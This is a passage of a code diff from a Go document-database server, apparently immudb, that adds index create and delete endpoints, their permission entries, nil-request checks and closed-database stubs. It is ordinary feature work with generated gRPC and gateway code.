"%v", err) + } + + msg, err := client.IndexCreate(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_IndexCreate_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq IndexCreateRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.IndexCreate(ctx, &protoReq) + return msg, metadata, err + +} + +func request_DocumentService_IndexDelete_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq IndexDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.IndexDelete(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_IndexDelete_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq IndexDeleteRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.IndexDelete(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_DocumentInsert_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq DocumentInsertRequest var metadata runtime.ServerMetadata @@ -532,6 +600,52 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_IndexCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_IndexCreate_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_IndexCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("PUT", pattern_DocumentService_IndexDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_IndexDelete_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_IndexDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -811,6 +925,46 @@ func RegisterDocumentServiceHandlerClient(ctx context.Context, mux *runtime.Serv }) + mux.Handle("PUT", pattern_DocumentService_IndexCreate_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_IndexCreate_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_IndexCreate_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + + mux.Handle("PUT", pattern_DocumentService_IndexDelete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_DocumentService_IndexDelete_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_DocumentService_IndexDelete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("PUT", pattern_DocumentService_DocumentInsert_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -945,6 +1099,10 @@ var ( pattern_DocumentService_CollectionUpdate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"collections", "update"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_IndexCreate_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"indexes", "create"}, "", runtime.AssumeColonVerbOpt(true))) + + pattern_DocumentService_IndexDelete_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"indexes", "delete"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_DocumentService_DocumentInsert_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insert"}, "", runtime.AssumeColonVerbOpt(true))) pattern_DocumentService_DocumentInsertMany_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"documents", "insertMany"}, "", runtime.AssumeColonVerbOpt(true))) @@ -969,6 +1127,10 @@ var ( forward_DocumentService_CollectionUpdate_0 = runtime.ForwardResponseMessage + forward_DocumentService_IndexCreate_0 = runtime.ForwardResponseMessage + + forward_DocumentService_IndexDelete_0 = runtime.ForwardResponseMessage + forward_DocumentService_DocumentInsert_0 = runtime.ForwardResponseMessage forward_DocumentService_DocumentInsertMany_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/protomodel/documents_grpc.pb.go b/pkg/api/protomodel/documents_grpc.pb.go index da2974e127..f3dd86ef8e 100644 --- a/pkg/api/protomodel/documents_grpc.pb.go +++ b/pkg/api/protomodel/documents_grpc.pb.go @@ -23,6 +23,8 @@ type DocumentServiceClient interface { CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) CollectionUpdate(ctx context.Context, in *CollectionUpdateRequest, opts ...grpc.CallOption) (*CollectionUpdateResponse, error) + IndexCreate(ctx context.Context, in *IndexCreateRequest, opts ...grpc.CallOption) (*IndexCreateResponse, error) + IndexDelete(ctx context.Context, in *IndexDeleteRequest, opts ...grpc.CallOption) (*IndexDeleteResponse, error) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) DocumentInsertMany(ctx context.Context, in *DocumentInsertManyRequest, opts ...grpc.CallOption) (*DocumentInsertManyResponse, error) DocumentUpdate(ctx context.Context, in *DocumentUpdateRequest, opts ...grpc.CallOption) (*DocumentUpdateResponse, error) @@ -84,6 +86,24 @@ func (c *documentServiceClient) CollectionUpdate(ctx context.Context, in *Collec return out, nil } +func (c *documentServiceClient) IndexCreate(ctx context.Context, in *IndexCreateRequest, opts ...grpc.CallOption) (*IndexCreateResponse, error) { + out := new(IndexCreateResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/IndexCreate", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *documentServiceClient) IndexDelete(ctx context.Context, in *IndexDeleteRequest, opts ...grpc.CallOption) (*IndexDeleteResponse, error) { + out := new(IndexDeleteResponse) + err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/IndexDelete", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { out := new(DocumentInsertResponse) err := c.cc.Invoke(ctx, "/immudb.model.DocumentService/DocumentInsert", in, out, opts...) @@ -147,6 +167,8 @@ type DocumentServiceServer interface { CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*CollectionDeleteResponse, error) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) + IndexCreate(context.Context, *IndexCreateRequest) (*IndexCreateResponse, error) + IndexDelete(context.Context, *IndexDeleteRequest) (*IndexDeleteResponse, error) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) DocumentInsertMany(context.Context, *DocumentInsertManyRequest) (*DocumentInsertManyResponse, error) DocumentUpdate(context.Context, *DocumentUpdateRequest) (*DocumentUpdateResponse, error) @@ -174,6 +196,12 @@ func (UnimplementedDocumentServiceServer) CollectionDelete(context.Context, *Col func (UnimplementedDocumentServiceServer) CollectionUpdate(context.Context, *CollectionUpdateRequest) (*CollectionUpdateResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionUpdate not implemented") } +func (UnimplementedDocumentServiceServer) IndexCreate(context.Context, *IndexCreateRequest) (*IndexCreateResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method IndexCreate not implemented") +} +func (UnimplementedDocumentServiceServer) IndexDelete(context.Context, *IndexDeleteRequest) (*IndexDeleteResponse, error) { + return nil, status.Errorf(codes.Unimplemented, "method IndexDelete not implemented") +} func (UnimplementedDocumentServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*DocumentInsertResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") } @@ -294,6 +322,42 @@ func _DocumentService_CollectionUpdate_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } +func _DocumentService_IndexCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(IndexCreateRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).IndexCreate(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/IndexCreate", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).IndexCreate(ctx, req.(*IndexCreateRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _DocumentService_IndexDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(IndexDeleteRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(DocumentServiceServer).IndexDelete(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.model.DocumentService/IndexDelete", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(DocumentServiceServer).IndexDelete(ctx, req.(*IndexDeleteRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentInsertRequest) if err := dec(in); err != nil { @@ -429,6 +493,14 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ MethodName: "CollectionUpdate", Handler: _DocumentService_CollectionUpdate_Handler, }, + { + MethodName: "IndexCreate", + Handler: _DocumentService_IndexCreate_Handler, + }, + { + MethodName: "IndexDelete", + Handler: _DocumentService_IndexDelete_Handler, + }, { MethodName: "DocumentInsert", Handler: _DocumentService_DocumentInsert_Handler, diff --git a/pkg/auth/permissions.go b/pkg/auth/permissions.go index 6c162b3dce..21218068f4 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -51,6 +51,8 @@ var maintenanceMethods = map[string]struct{}{ "CollectionList": {}, "CollectionUpdate": {}, "CollectionDelete": {}, + "IndexCreate": {}, + "IndexDelete": {}, "DocumentAudit": {}, "DocumentProof": {}, @@ -122,6 +124,8 @@ var methodsPermissions = map[string][]uint32{ "CollectionList": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "CollectionUpdate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "CollectionDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "IndexCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "IndexDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, "DocumentAudit": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DocumentProof": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index e9decde5fb..cd3e4f9b8e 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -37,6 +37,10 @@ type DocumentDatabase interface { UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) + // CreateIndexes creates indexes for a collection + CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) + // DeleteIndexes deletes indexes from a collection + DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) // GetDocument returns the document SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) // InsertDocument creates a new document @@ -57,7 +61,7 @@ func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCre return nil, ErrIllegalArguments } - err := d.documentEngine.CreateCollection(ctx, req.Collection) + err := d.documentEngine.CreateCollection(ctx, req.Name, req.IdFieldName, req.Fields, req.Indexes) if err != nil { return nil, err } @@ -76,6 +80,10 @@ func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionList // GetCollection returns the collection schema func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + cinfo, err := d.documentEngine.GetCollection(ctx, req.Name) if err != nil { return nil, err @@ -86,6 +94,10 @@ func (d *db) GetCollection(ctx context.Context, req *protomodel.CollectionGetReq // SearchDocuments returns the documents matching the search request constraints func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { + if req == nil { + return nil, ErrIllegalArguments + } + if req.Page < 1 || req.PerPage < 1 { return nil, fmt.Errorf("invalid offset or limit") } @@ -104,7 +116,11 @@ func (d *db) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearch // UpdateCollection updates an existing collection func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { - err := d.documentEngine.UpdateCollection(ctx, req.Collection) + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.UpdateCollection(ctx, req.Name, req.IdFieldName) if err != nil { return nil, err } @@ -114,6 +130,10 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpd // DeleteCollection deletes a collection func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + err := d.documentEngine.DeleteCollection(ctx, req.Name) if err != nil { return nil, err @@ -122,8 +142,40 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.CollectionDel return &protomodel.CollectionDeleteResponse{}, nil } +// CreateIndexes creates indexes for a collection +func (d *db) CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.CreateIndexes(ctx, req.Collection, req.Indexes) + if err != nil { + return nil, err + } + + return &protomodel.IndexCreateResponse{}, nil +} + +// DeleteIndexes deletes indexes from a collection +func (d *db) DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + + err := d.documentEngine.DeleteIndexes(ctx, req.Collection, req.Indexes) + if err != nil { + return nil, err + } + + return &protomodel.IndexDeleteResponse{}, nil +} + // InsertDocument creates a new document func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + txID, docID, err := d.documentEngine.InsertDocument(ctx, req.Collection, req.Document) if err != nil { return nil, err @@ -137,6 +189,10 @@ func (d *db) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertR // DocumentInsertMany inserts multiple documents func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + txID, docIDs, err := d.documentEngine.BulkInsertDocuments(ctx, req.Collection, req.Documents) if err != nil { return nil, err @@ -155,6 +211,10 @@ func (d *db) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentIns // UpdateDocument updates a document func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + txID, docID, rev, err := d.documentEngine.UpdateDocument(ctx, req.Collection, req.Query, req.Document) if err != nil { return nil, err @@ -168,6 +228,10 @@ func (d *db) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateR } func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { @@ -190,6 +254,10 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq // DocumentProof returns the proofs for a documenta func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { + if req == nil { + return nil, ErrIllegalArguments + } + docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 32979eb229..411d23bf48 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -55,18 +55,16 @@ func TestDocumentDB_Collection(t *testing.T) { collectionName := "mycollection" _, err := db.CreateCollection(context.Background(), &protomodel.CollectionCreateRequest{ - Collection: &protomodel.Collection{ - Name: collectionName, - Fields: []*protomodel.Field{ - { - Name: "pincode", - Type: protomodel.FieldType_INTEGER, - }, + Name: collectionName, + Fields: []*protomodel.Field{ + { + Name: "pincode", + Type: protomodel.FieldType_INTEGER, }, - Indexes: []*protomodel.Index{ - { - Fields: []string{"pincode"}, - }, + }, + Indexes: []*protomodel.Index{ + { + Fields: []string{"pincode"}, }, }, }) @@ -123,11 +121,11 @@ func TestDocumentDB_Collection(t *testing.T) { defer reader.Close() - docs, err := reader.Read(context.Background(), 1) + revisions, err := reader.Read(context.Background(), 1) require.NoError(t, err) - require.Equal(t, 1, len(docs)) - doc := docs[0] + require.Equal(t, 1, len(revisions)) + doc := revisions[0].Document require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 9dacf149c6..0249670f9d 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -246,50 +246,58 @@ func (db *closedDB) Truncate(ts time.Duration) error { return store.ErrAlreadyClosed } +// CreateCollection creates a new collection +func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { + return nil, store.ErrAlreadyClosed +} + // GetCollection returns the collection schema func (d *closedDB) GetCollection(ctx context.Context, req *protomodel.CollectionGetRequest) (*protomodel.CollectionGetResponse, error) { return nil, store.ErrAlreadyClosed } -// CreateCollection creates a new collection -func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { +func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { return nil, store.ErrAlreadyClosed } -// SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { +func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { return nil, store.ErrAlreadyClosed } -// InsertDocument creates a new document -func (d *closedDB) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { +func (d *closedDB) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { +func (d *closedDB) CreateIndexes(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { +func (d *closedDB) DeleteIndexes(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { +// InsertDocument creates a new document +func (d *closedDB) InsertDocument(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DeleteCollection(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { +func (d *closedDB) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) UpdateCollection(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { +func (d *closedDB) UpdateDocument(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { +func (d *closedDB) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { return nil, store.ErrAlreadyClosed } -func (d *closedDB) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { +// SearchDocuments returns the document +func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { + return nil, store.ErrAlreadyClosed +} + +func (d *closedDB) DocumentProof(ctx context.Context, req *protomodel.DocumentProofRequest) (*protomodel.DocumentProofResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index e4ae84c344..25445ee2c9 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -33,36 +33,24 @@ var ( ErrInvalidPreviousPage = status.Errorf(codes.InvalidArgument, "cannot go back to a previous page") ) -func (s *ImmuServer) DocumentInsert(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentInsert") - if err != nil { - return nil, err - } - resp, err := db.InsertDocument(ctx, req) - if err != nil { - return nil, err - } - return resp, nil -} - -func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { - db, err := s.getDBFromCtx(ctx, "DocumentUpdate") +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { + db, err := s.getDBFromCtx(ctx, "CollectionCreate") if err != nil { return nil, err } - resp, err := db.UpdateDocument(ctx, req) + resp, err := db.CreateCollection(ctx, req) if err != nil { return nil, err } return resp, nil } -func (s *ImmuServer) CollectionCreate(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionCreate") +func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { + db, err := s.getDBFromCtx(ctx, "CollectionUpdate") if err != nil { return nil, err } - resp, err := db.CreateCollection(ctx, req) + resp, err := db.UpdateCollection(ctx, req) if err != nil { return nil, err } @@ -93,7 +81,6 @@ func (s *ImmuServer) CollectionList(ctx context.Context, req *protomodel.Collect return resp, nil } -// TODO: implement func (s *ImmuServer) CollectionDelete(ctx context.Context, req *protomodel.CollectionDeleteRequest) (*protomodel.CollectionDeleteResponse, error) { db, err := s.getDBFromCtx(ctx, "CollectionDelete") if err != nil { @@ -106,7 +93,68 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *protomodel.Colle return resp, nil } -// TODO: implement +func (s *ImmuServer) IndexCreate(ctx context.Context, req *protomodel.IndexCreateRequest) (*protomodel.IndexCreateResponse, error) { + db, err := s.getDBFromCtx(ctx, "IndexCreate") + if err != nil { + return nil, err + } + resp, err := db.CreateIndexes(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} + +func (s *ImmuServer) IndexDelete(ctx context.Context, req *protomodel.IndexDeleteRequest) (*protomodel.IndexDeleteResponse, error) { + db, err := s.getDBFromCtx(ctx, "IndexDelete") + if err != nil { + return nil, err + } + resp, err := db.DeleteIndexes(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} + +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *protomodel.DocumentInsertRequest) (*protomodel.DocumentInsertResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentInsert") + if err != nil { + return nil, err + } + resp, err := db.InsertDocument(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} + +func (s *ImmuServer) DocumentInsertMany(ctx context.Context, req *protomodel.DocumentInsertManyRequest) (*protomodel.DocumentInsertManyResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentInsertMany") + if err != nil { + return nil, err + } + + resp, err := db.DocumentInsertMany(ctx, req) + if err != nil { + return nil, err + } + + return resp, nil +} + +func (s *ImmuServer) DocumentUpdate(ctx context.Context, req *protomodel.DocumentUpdateRequest) (*protomodel.DocumentUpdateResponse, error) { + db, err := s.getDBFromCtx(ctx, "DocumentUpdate") + if err != nil { + return nil, err + } + resp, err := db.UpdateDocument(ctx, req) + if err != nil { + return nil, err + } + return resp, nil +} + func (s *ImmuServer) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditRequest) (*protomodel.DocumentAuditResponse, error) { db, err := s.getDBFromCtx(ctx, "DocumentAudit") if err != nil { @@ -152,18 +200,6 @@ func (s *ImmuServer) DocumentProof(ctx context.Context, req *protomodel.Document return res, nil } -func (s *ImmuServer) CollectionUpdate(ctx context.Context, req *protomodel.CollectionUpdateRequest) (*protomodel.CollectionUpdateResponse, error) { - db, err := s.getDBFromCtx(ctx, "CollectionUpdate") - if err != nil { - return nil, err - } - resp, err := db.UpdateCollection(ctx, req) - if err != nil { - return nil, err - } - return resp, nil -} - func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.DocumentSearchRequest) (*protomodel.DocumentSearchResponse, error) { db, err := 